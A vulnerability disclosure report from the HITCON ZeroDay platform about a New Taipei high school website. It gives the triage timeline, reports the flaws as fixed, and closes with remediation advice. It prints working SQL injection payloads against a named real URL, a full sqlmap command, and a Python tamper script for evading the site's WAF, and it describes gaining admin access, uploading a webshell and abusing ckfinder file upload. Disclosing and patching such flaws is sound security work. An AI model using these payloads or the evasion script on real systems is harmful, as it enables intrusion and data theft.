新北市崇義高級中學 XSS與SQL injection to RCE以及未授權訪問跟資訊洩漏 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2023-01001
  •  發信 Vendor: 新北市政府教育局
  • Title: 新北市崇義高級中學 XSS與SQL injection to RCE以及未授權訪問跟資訊洩漏
  • Introduction: XSS與SQL injection to RCE以及未授權訪問

處理狀態

目前狀態

公開
Last Update : 2024/02/22
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2023/12/09 21:54:36 : 新提交 (由 chocola5655 更新此狀態)
  • 2023/12/09 21:55:56 : 新提交 (由 chocola5655 更新此狀態)
  • 2023/12/09 21:57:23 : 新提交 (由 chocola5655 更新此狀態)
  • 2023/12/09 22:08:25 : 新提交 (由 chocola5655 更新此狀態)
  • 2023/12/09 22:10:39 : 新提交 (由 chocola5655 更新此狀態)
  • 2023/12/09 22:11:05 : 新提交 (由 chocola5655 更新此狀態)
  • 2023/12/09 22:15:52 : 新提交 (由 chocola5655 更新此狀態)
  • 2023/12/11 22:52:14 : 新提交 (由 chocola5655 更新此狀態)
  • 2023/12/11 22:52:30 : 新提交 (由 chocola5655 更新此狀態)
  • 2023/12/11 22:52:45 : 新提交 (由 chocola5655 更新此狀態)
  • 2023/12/11 22:53:35 : 新提交 (由 chocola5655 更新此狀態)
  • 2023/12/15 10:52:23 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/12/26 11:23:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/12/26 11:23:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/02/06 08:19:12 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2024/02/06 08:19:18 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2024/02/06 12:01:10 : 確認已修補 (由 chocola5655 更新此狀態)
  • 2024/02/22 03:00:08 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2023-01001
  • 通報者:ludi2320531 (chocola5655)
  • 風險:嚴重
  • 類型:遠端命令執行 (Remote Code Execution)

參考資料

攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。

漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection

漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection

漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html

漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.tyhs.ntpc.edu.tw/admin/admin_banner.php?ntype=
https://www.tyhs.ntpc.edu.tw/main_newsdetial.php?news_id=48&type_id=2
https://www.tyhs.ntpc.edu.tw/admin/ckfinder/ckfinder.html
https://www.tyhs.ntpc.edu.tw/admin/

敘述

  • SQL injection

URL: https://www.tyhs.ntpc.edu.tw/main_newsdetial.php?news_id=48&type_id=2

注入類型

boolean-based blind
payload: news_id=42 OR NOT 3458=3458#&type_id=2
error-based
payload:news_id=42 AND GTID_SUBSET(CONCAT(0x716a787a71,(SELECT (ELT(8438=8438,1))),0x716a7a7871),8438)&type_id=2
time-based blind
payload:news_id=42 AND (SELECT 2513 FROM (SELECT(SLEEP(5)))Icoi)&type_id=2

sqlmap payload:

sqlmap --random-agent -u "https://www.tyhs.ntpc.edu.tw/main_newsdetial.php?news_id=42&type_id=2" --tamper WAF1 --prefix "" --technique BETU --union-cols 6 --text-only --hex -p news_id --batch -v 3 --dbs

WAF腳本

#!/usr/bin/env python
def dependencies():
    pass
def tamper(payload:str, **kwargs):

    CrucialString=[
        'DATABASE()','FROM','schema_name','INFORMATION_SCHEMA.SCHEMATA','table_name',
        'INFORMATION_SCHEMA.TABLES','table_schema','column_name','INFORMATION_SCHEMA.COLUMNS'
    ]
    if payload:
        if 'UNION' in payload:
            payload=payload.replace('UNION','/*!--%20-%0AuNiOn%23a%0A*/')
            if payload.startswith('42 '):
                payload=payload.replace('42 ','42 and 0 ')

        for i in CrucialString:
            if i in payload:
                payload=payload.replace(i,f'/*!50000{i}%23a%0A*/')

        if '-- ' in payload:
            payload=payload.replace('-- ','--%20')

    return payload.replace(' ','/**/')

圖片

  • 未授權訪問

    https://www.tyhs.ntpc.edu.tw/admin/admin_banner.php?ntype=
    圖片
    進去後可新增檔案將webshell上傳後可RCE
    圖片
    圖片
    目前webshell檔案已經刪除

  • XSS

    圖片

  • 資訊洩漏

    圖片
    進入根目錄後可隨意進去管理員面板及其他管理頁面
    ckfinder.html 存在任意檔案上傳

修補建議

SQL 注入 (SQL Injection)

Boolean-Based Blind 和 Time-Based Blind SQL 注入:使用預備語句(Prepared Statements)和參數化查詢來防止 SQL 注入。這會確保用戶輸入被當作數據而不是 SQL 代碼執行。
Error-Based SQL 注入:設置適當的錯誤處理機制,不向用戶顯示詳細的數據庫錯誤資訊。這有助於防止攻擊者利用錯誤資訊來發動攻擊。

未授權訪問
強化登入機制:實施多因素認證和強密碼政策。
目錄訪問限制:設定伺服器權限和訪問控制列表(ACL),以防止未授權訪問敏感目錄和後台頁面。
文件上傳限制:在管理員頁面上限制文件上傳類型和大小,並對上傳的文件進行掃描,以確保它們不包含惡意代碼。

XSS 漏洞
輸入驗證和輸出編碼:對所有用戶輸入進行驗證,並在將輸入數據顯示在頁面上時進行適當的編碼,以防止惡意腳本被執行。

資訊洩漏
限制根目錄訪問:通過配置伺服器設置來限制對網站根目錄的直接訪問。
檢查和移除不必要的文件:定期檢查網站目錄,移除不必要或過時的文件和頁面,特別是那些可能包含敏感資訊的文件。
常規安全措施

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;